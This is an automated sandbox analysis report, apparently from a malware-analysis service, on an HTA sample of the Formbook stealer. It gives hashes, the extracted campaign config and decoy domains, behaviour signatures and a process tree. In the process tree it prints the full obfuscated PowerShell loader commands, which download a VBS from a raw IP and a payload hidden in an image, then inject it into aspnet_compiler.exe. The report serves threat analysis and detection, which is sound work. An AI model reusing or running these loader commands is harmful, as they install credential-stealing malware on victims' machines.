formbook | 56966ff863d37f048e873725f57c3d6ea7883c4c20c033f2bd5f85adeec1b62b

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
05-02-2025 03:45

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General

Target

56966ff863d37f048e873725f57c3d6ea7883c4c20c033f2bd5f85adeec1b62b.hta
Size

14KB
MD5

24a0a0feeb3c8ddf4e0a8480107d5a47
SHA1

826364c4e1b951b3cb5d0c5d82db4a8e59e05140
SHA256

56966ff863d37f048e873725f57c3d6ea7883c4c20c033f2bd5f85adeec1b62b
SHA512

2c318b518bf94a264dfc6ae8938a00b7f915a38f7105b4c7df7799fd242b9906e4147644f26b5f2ecdcf892f5186efcd9c5182ef1e8f155b460a24d7ba5cac3e
SSDEEP

48:3aodOOQvMUUdOOQHnMUvMxyhz+rntkpyr+slA6Y8TurdkGijmQdkrC3dOOQe0dO1:qoOMhQM1AhmtscdlRB/arEY/PMfW+

Score

10^/10

formbook b101 defense_evasion discovery execution rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

b101

Decoy

ent-apartments-2801.click

lsyw.top

eccurastock.online

j958.net

eepelement.tech

rueblueimpact.shop

etechhome.net

ianchui.cfd

mall-business-22321.bond

tatewidefinancialservices.net

orbitmac.info

ovehkjepe88.club

zzhmamn.xyz

uslimbooking.net

uto253.pro

ortalexpresscliepr.lat

tikk.shop

iaoniang.cfd

sdg-6603.cyou

myd.net

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Formbook family
formbook

Formbook payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/3316-90-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral2/memory/3872-95-0x00000000004A0000-0x00000000004CF000-memory.dmp	formbook

Blocklisted process makes network request 3 IoCs

flow	pid	Process
21	60	powershell.exe
24	4456	powershell.exe
25	4456	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
60	powershell.exe
3472	cmd.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-70482961-775596374-3727440602-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-70482961-775596374-3727440602-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4456	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4456 set thread context of 3316	4456	powershell.exe	97
PID 3316 set thread context of 3404	3316	aspnet_compiler.exe	53
PID 3872 set thread context of 3404	3872	raserver.exe	53

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	raserver.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-70482961-775596374-3727440602-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
60	powershell.exe
60	powershell.exe
4456	powershell.exe
4456	powershell.exe
4456	powershell.exe
4456	powershell.exe
3316	aspnet_compiler.exe
3316	aspnet_compiler.exe
3316	aspnet_compiler.exe
3316	aspnet_compiler.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe
3872	raserver.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
3316	aspnet_compiler.exe
3316	aspnet_compiler.exe
3316	aspnet_compiler.exe
3872	raserver.exe
3872	raserver.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	3316	aspnet_compiler.exe
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeDebugPrivilege	3872	raserver.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3404	Explorer.EXE

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 3472	4684	mshta.exe	86
PID 4684 wrote to memory of 3472	4684	mshta.exe	86
PID 4684 wrote to memory of 3472	4684	mshta.exe	86
PID 3472 wrote to memory of 60	3472	cmd.exe	88
PID 3472 wrote to memory of 60	3472	cmd.exe	88
PID 3472 wrote to memory of 60	3472	cmd.exe	88
PID 60 wrote to memory of 1212	60	powershell.exe	91
PID 60 wrote to memory of 1212	60	powershell.exe	91
PID 60 wrote to memory of 1212	60	powershell.exe	91
PID 1212 wrote to memory of 3564	1212	csc.exe	92
PID 1212 wrote to memory of 3564	1212	csc.exe	92
PID 1212 wrote to memory of 3564	1212	csc.exe	92
PID 60 wrote to memory of 2280	60	powershell.exe	93
PID 60 wrote to memory of 2280	60	powershell.exe	93
PID 60 wrote to memory of 2280	60	powershell.exe	93
PID 2280 wrote to memory of 4456	2280	WScript.exe	94
PID 2280 wrote to memory of 4456	2280	WScript.exe	94
PID 2280 wrote to memory of 4456	2280	WScript.exe	94
PID 4456 wrote to memory of 4512	4456	powershell.exe	96
PID 4456 wrote to memory of 4512	4456	powershell.exe	96
PID 4456 wrote to memory of 4512	4456	powershell.exe	96
PID 4456 wrote to memory of 3316	4456	powershell.exe	97
PID 4456 wrote to memory of 3316	4456	powershell.exe	97
PID 4456 wrote to memory of 3316	4456	powershell.exe	97
PID 4456 wrote to memory of 3316	4456	powershell.exe	97
PID 4456 wrote to memory of 3316	4456	powershell.exe	97
PID 4456 wrote to memory of 3316	4456	powershell.exe	97
PID 3404 wrote to memory of 3872	3404	Explorer.EXE	98
PID 3404 wrote to memory of 3872	3404	Explorer.EXE	98
PID 3404 wrote to memory of 3872	3404	Explorer.EXE	98
PID 3872 wrote to memory of 1512	3872	raserver.exe	99
PID 3872 wrote to memory of 1512	3872	raserver.exe	99
PID 3872 wrote to memory of 1512	3872	raserver.exe	99

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3404
- C:\Windows\SysWOW64\mshta.exe
  C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\56966ff863d37f048e873725f57c3d6ea7883c4c20c033f2bd5f85adeec1b62b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4684
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/C PoWeRSHelL.exE -EX BYPAsS -nOp -W 1 -c dEVICeCREdEnTIAlDeplOymEnT.Exe ; inVoKe-ExprEsSion($(INVOKe-exPrESSiON('[sYSTEM.Text.EncOdINg]'+[chAr]58+[CHAR]0X3A+'UTF8.GetsTRIng([SYSTem.cONVErt]'+[CHAr]0x3a+[CHaR]0X3a+'FroMbAsE64sTRING('+[ChAr]0X22+'JDdCUEZBRDBaMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1CRXJkZUZJbklUSU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNb24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZrcU16UmNQTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVVl6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBreVhyTGRULHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJmYSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAieENOZGVoTGkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgckV4SEljZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ3QlBGQUQwWjA6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMjMuMTg3LjE1MC94YW1wcC9mYm4vbmljZXRvbWVldHlvdWxpdHRsZWhlYXJ0c3dlZXRoZWFydHNoZWlzYmVhdXRpZnUuZ0lGIiwiJEVOdjpBUFBEQVRBXG5pY2V0b21lZXR5b3VsaXR0bGVoZWFydHN3ZWV0aGVhcnRzaGVpc2JlYXV0aWYudmJzIiwwLDApO1NUQVJULXNMRWVQKDMpO0ludk9LRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcbmljZXRvbWVldHlvdWxpdHRsZWhlYXJ0c3dlZXRoZWFydHNoZWlzYmVhdXRpZi52YnMi'+[CHAR]0x22+'))')))"
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      PoWeRSHelL.exE -EX BYPAsS -nOp -W 1 -c dEVICeCREdEnTIAlDeplOymEnT.Exe ; inVoKe-ExprEsSion($(INVOKe-exPrESSiON('[sYSTEM.Text.EncOdINg]'+[chAr]58+[CHAR]0X3A+'UTF8.GetsTRIng([SYSTem.cONVErt]'+[CHAr]0x3a+[CHaR]0X3a+'FroMbAsE64sTRING('+[ChAr]0X22+'JDdCUEZBRDBaMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1CRXJkZUZJbklUSU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNb24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZrcU16UmNQTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVVl6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBreVhyTGRULHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJmYSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAieENOZGVoTGkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgckV4SEljZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ3QlBGQUQwWjA6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMjMuMTg3LjE1MC94YW1wcC9mYm4vbmljZXRvbWVldHlvdWxpdHRsZWhlYXJ0c3dlZXRoZWFydHNoZWlzYmVhdXRpZnUuZ0lGIiwiJEVOdjpBUFBEQVRBXG5pY2V0b21lZXR5b3VsaXR0bGVoZWFydHN3ZWV0aGVhcnRzaGVpc2JlYXV0aWYudmJzIiwwLDApO1NUQVJULXNMRWVQKDMpO0ludk9LRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcbmljZXRvbWVldHlvdWxpdHRsZWhlYXJ0c3dlZXRoZWFydHNoZWlzYmVhdXRpZi52YnMi'+[CHAR]0x22+'))')))"
      4⤵
      Blocklisted process makes network request
      Evasion via Device Credential Deployment
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:60
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0gpoky2y\0gpoky2y.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1212
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1934.tmp" "c:\Users\Admin\AppData\Local\Temp\0gpoky2y\CSCDB1E7602D34D498EB3B53713F7EBC365.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3564
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicetomeetyoulittleheartsweetheartsheisbeautif.vbs"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2280
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBtAHIAbwBmAG4AZQBlAHMAcgBlAHYAZQByAG8AZgBsAHIAaQBnAGwAdQBmAGkAdAB1AGEAZQBiAGwAcgBpAGcAdABzAGUAYgBsAHIAaQBnAGUAYwBpAG4ALwBuAGIAZgAvAHAAcABtAGEAeAAvADAANQAxAC4ANwA4ADEALgAzADIALgA4ADkAMQAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADgAMwAzADQANQAzADMALwBhAGwAYwBiADQAaAB0AG8AbAB6AHYAZgBoAHoAegB1AGYAcQBoADUALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAGEAcwBwAG4AZQB0AF8AYwBvAG0AcABpAGwAZQByACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4456
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        7⤵
        
        PID:4512
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        7⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:3316
- C:\Windows\SysWOW64\raserver.exe
  "C:\Windows\SysWOW64\raserver.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3872
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
456d96ad5e8897661dc388d1e8687ee8

SHA1
07b2851f1517c9b1e884db37522e11b1672dc9a6

SHA256
0dd115a60e32491984740368fa37c3f716f439e7fd9d70cd7d6db0bd3e1105e9

SHA512
472bf83b4c465314db12c7449ba51a6d4e0f12fdf5f2c2d9f5b9d7a7dce95accc9c48f960886823d7b48685610e10fec4913c5ebd4e8921359d18455b5bc6e96

Download Submit
C:\Users\Admin\AppData\Local\Temp\0gpoky2y\0gpoky2y.dll

Filesize
3KB

MD5
53305cc5d6b39b05def1ad41f9573ac0

SHA1
319325879ddba7d5416ca3c22c3da353a266c157

SHA256
66a0d1ab3681199c89cfbc0c371edc3be860a8808d1448ea9bfc5600bd863c6b

SHA512
92bc4d8e07f4876fb7c9938e342ce4b4ef422a35e2d905bab5d1560e134adbe607800b37c5da37030b644c8c08584c03d7eb9201ade9a7a78ac701c0d9c3eed2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES1934.tmp

Filesize
1KB

MD5
a3d6737f084ac2e4aad705d514c15e4c

SHA1
4d165b3ad3cbd674ffb2dcc04f6947539b577fbc

SHA256
785ad786ee90d6e96e0e557c61d857020396319aac6a1ecef94940b3c028357a

SHA512
dab233b5a2e6829e5dcde4fbed98c0b1ad153b3530abbf717c14c01b5ba1cbbf495c079482e7d97bbd9aa7a3fd83e244cb3462caac4b21ffd91f192b47217de6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ijvj04ni.r3i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\nicetomeetyoulittleheartsweetheartsheisbeautif.vbs

Filesize
216KB

MD5
eaaecea977e9d02eb3ba12a426b9930d

SHA1
1b1d388b1aace23874ab95ad625f1e34ee43e234

SHA256
5b8920b32beba0b9c5cadf86e0e48d3df9cf33b89ed878efc06ca07ba7122f18

SHA512
929d244152855e99319f46f0f7d022fa127d4f628afebd26b6597e8c10265ba75eb9f1150dc0346ef51719f331f62a13669a8a366d2689996788b0d2601121e8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0gpoky2y\0gpoky2y.0.cs

Filesize
478B

MD5
19c349f194ea440d75e3d8bb016a48c1

SHA1
e4c63d11e4345744be72671c3f698ba717fca329

SHA256
54d8a84d51dffcb3b93aa8c8571f35fcf1c6a567574a138f9b803479b6aad974

SHA512
c9cc5ac32184f5771a22e8ff0de1812d4e4e0e1a8236d8660be761382983eeced98333ff6845c70ab999c52a94d64939e50d24cc4b3caab4d80c79e5267dfb71

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0gpoky2y\0gpoky2y.cmdline

Filesize
369B

MD5
04c13c4911f416f5d83b5db17e9e8e4d

SHA1
1e6cbbb7a8aecafef0be02a76abaea4c3b04e974

SHA256
e4783166b5d846ed53e3751078c7544b8c7faabcb2d655a73b28df79944c7bb5

SHA512
cf0599e12c7dded51b1991cb07785329372adf1b697cb95b231b14ec70ede0a55b9e8e9d160238494e8ba3e94020b8acdc797d74e34ae49c2426c85081b8d7e8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0gpoky2y\CSCDB1E7602D34D498EB3B53713F7EBC365.TMP

Filesize
652B

MD5
902eda9f4da644b9af166c0232bcf73c

SHA1
76b1c0de992822019dd6d3c21d500f87b8303db7

SHA256
ffd44031f6dc86ce35120a263acae9e61e6c1acf2c64145affe64a93b6b180ab

SHA512
a1bd2c8e5dab3da6a9c4ca0965e73ac16a4430d0218876408f9348dc5f270407bd6ed1679ddc2226cd31f94a7b45f86da04c6eb4ba2fe7e24e0c9cf5f292a61b

Download Submit
memory/60-43-0x0000000007AA0000-0x0000000007AB4000-memory.dmp

Filesize
80KB

Download
memory/60-6-0x0000000005E60000-0x0000000005EC6000-memory.dmp

Filesize
408KB

Download
memory/60-19-0x0000000006550000-0x000000000659C000-memory.dmp

Filesize
304KB

Download
memory/60-21-0x000000006D2A0000-0x000000006D2EC000-memory.dmp

Filesize
304KB

Download
memory/60-22-0x00000000709E0000-0x0000000071190000-memory.dmp

Filesize
7.7MB

Download
memory/60-20-0x00000000074F0000-0x0000000007522000-memory.dmp

Filesize
200KB

Download
memory/60-23-0x000000006D440000-0x000000006D794000-memory.dmp

Filesize
3.3MB

Download
memory/60-33-0x00000000709E0000-0x0000000071190000-memory.dmp

Filesize
7.7MB

Download
memory/60-34-0x0000000006B10000-0x0000000006B2E000-memory.dmp

Filesize
120KB

Download
memory/60-35-0x00000000077E0000-0x0000000007883000-memory.dmp

Filesize
652KB

Download
memory/60-36-0x00000000709E0000-0x0000000071190000-memory.dmp

Filesize
7.7MB

Download
memory/60-37-0x0000000007F10000-0x000000000858A000-memory.dmp

Filesize
6.5MB

Download
memory/60-38-0x00000000075B0000-0x00000000075CA000-memory.dmp

Filesize
104KB

Download
memory/60-39-0x00000000078E0000-0x00000000078EA000-memory.dmp

Filesize
40KB

Download
memory/60-40-0x0000000007B00000-0x0000000007B96000-memory.dmp

Filesize
600KB

Download
memory/60-41-0x0000000007A60000-0x0000000007A71000-memory.dmp

Filesize
68KB

Download
memory/60-42-0x0000000007A90000-0x0000000007A9E000-memory.dmp

Filesize
56KB

Download
memory/60-0-0x00000000709EE000-0x00000000709EF000-memory.dmp

Filesize
4KB

Download
memory/60-44-0x0000000007AE0000-0x0000000007AFA000-memory.dmp

Filesize
104KB

Download
